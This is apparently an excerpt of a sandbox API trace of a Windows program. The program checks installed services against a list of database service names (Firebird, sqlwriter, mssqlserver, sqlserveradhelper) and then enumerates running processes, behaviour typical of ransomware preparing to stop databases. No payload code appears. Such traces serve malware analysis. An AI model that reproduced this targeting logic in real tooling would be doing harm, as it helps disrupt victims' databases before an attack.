	[0179.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0179.155] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0179.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0179.155] lstrlenW (lpString="CDPSvc") returned 6
	[0179.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0179.155] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0179.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0179.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0179.155] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0179.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0179.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0179.156] lstrlenW (lpString="CryptSvc") returned 8
	[0179.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0179.156] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0179.156] lstrlenW (lpString="DcomLaunch") returned 10
	[0179.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0179.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0179.156] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0179.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0179.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0179.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0179.156] lstrlenW (lpString="Dhcp") returned 4
	[0179.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0179.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0179.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0179.157] lstrlenW (lpString="Dnscache") returned 8
	[0179.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0179.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0179.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0179.157] lstrlenW (lpString="DPS") returned 3
	[0179.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0179.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0179.157] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0179.157] lstrlenW (lpString="DusmSvc") returned 7
	[0179.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0179.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0179.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0179.158] lstrlenW (lpString="EventLog") returned 8
	[0179.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0179.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0179.158] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0179.158] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0179.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0179.158] lstrlenW (lpString="EventSystem") returned 11
	[0179.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0179.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0179.158] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0179.158] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0179.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0179.158] lstrlenW (lpString="FontCache") returned 9
	[0179.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0179.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0179.158] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0179.158] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0179.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0179.158] lstrlenW (lpString="gpsvc") returned 5
	[0179.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0179.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0179.158] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0179.158] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0179.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0179.159] lstrlenW (lpString="iphlpsvc") returned 8
	[0179.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.318] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0179.318] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0179.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0179.318] lstrlenW (lpString="KeyIso") returned 6
	[0179.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0179.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0179.318] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0179.318] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0179.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0179.319] lstrlenW (lpString="LanmanServer") returned 12
	[0179.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0179.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0179.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0179.319] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0179.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0179.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0179.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0179.319] lstrlenW (lpString="lfsvc") returned 5
	[0179.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0179.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0179.319] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0179.319] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0179.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0179.330] lstrlenW (lpString="lmhosts") returned 7
	[0179.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0179.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0179.330] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0179.330] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0179.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0179.331] lstrlenW (lpString="LSM") returned 3
	[0179.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0179.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0179.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0179.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0179.331] lstrlenW (lpString="MpsSvc") returned 6
	[0179.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0179.331] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0179.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0179.331] lstrlenW (lpString="NcbService") returned 10
	[0179.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0179.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0179.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0179.331] lstrlenW (lpString="netprofm") returned 8
	[0179.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0179.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0179.331] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0179.331] lstrlenW (lpString="NgcSvc") returned 6
	[0179.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0179.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0179.332] lstrlenW (lpString="NlaSvc") returned 6
	[0179.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0179.332] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0179.332] lstrlenW (lpString="nsi") returned 3
	[0179.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0179.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0179.332] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0179.332] lstrlenW (lpString="PcaSvc") returned 6
	[0179.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0179.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0179.332] lstrlenW (lpString="PlugPlay") returned 8
	[0179.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0179.333] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0179.333] lstrlenW (lpString="Power") returned 5
	[0179.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0179.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0179.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0179.333] lstrlenW (lpString="ProfSvc") returned 7
	[0179.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0179.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0179.333] lstrlenW (lpString="RpcEptMapper") returned 12
	[0179.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0179.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0179.333] lstrlenW (lpString="RpcSs") returned 5
	[0179.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0179.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0179.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0179.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0179.333] lstrlenW (lpString="SamSs") returned 5
	[0179.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0179.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0179.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0179.334] lstrlenW (lpString="Schedule") returned 8
	[0179.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0179.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0179.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0179.334] lstrlenW (lpString="SecurityHealthService") returned 21
	[0179.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0179.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0179.334] lstrlenW (lpString="SENS") returned 4
	[0179.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0179.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0179.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0179.334] lstrlenW (lpString="ShellHWDetection") returned 16
	[0179.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0179.334] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0179.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0179.334] lstrlenW (lpString="Spooler") returned 7
	[0179.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0179.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0179.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0179.335] lstrlenW (lpString="StateRepository") returned 15
	[0179.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0179.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0179.335] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0179.335] lstrlenW (lpString="SysMain") returned 7
	[0179.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0179.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0179.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0179.335] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0179.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0179.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0179.335] lstrlenW (lpString="Themes") returned 6
	[0179.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0179.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0179.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0179.335] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0179.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0179.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0179.335] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0179.335] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0179.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0179.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344
	[0179.341] Process32FirstW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0179.341] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0179.341] lstrlenW (lpString="System") returned 6
	[0179.342] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0179.342] lstrlenW (lpString="smss.exe") returned 8
	[0179.342] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.343] lstrlenW (lpString="csrss.exe") returned 9
	[0179.343] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0179.343] lstrlenW (lpString="wininit.exe") returned 11
	[0179.343] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.344] lstrlenW (lpString="csrss.exe") returned 9
	[0179.344] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0179.344] lstrlenW (lpString="winlogon.exe") returned 12
	[0179.344] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0179.345] lstrlenW (lpString="services.exe") returned 12
	[0179.345] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0179.345] lstrlenW (lpString="lsass.exe") returned 9
	[0179.345] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.346] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.346] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.346] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.346] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.347] lstrlenW (lpString="svchost.exe") returned 11
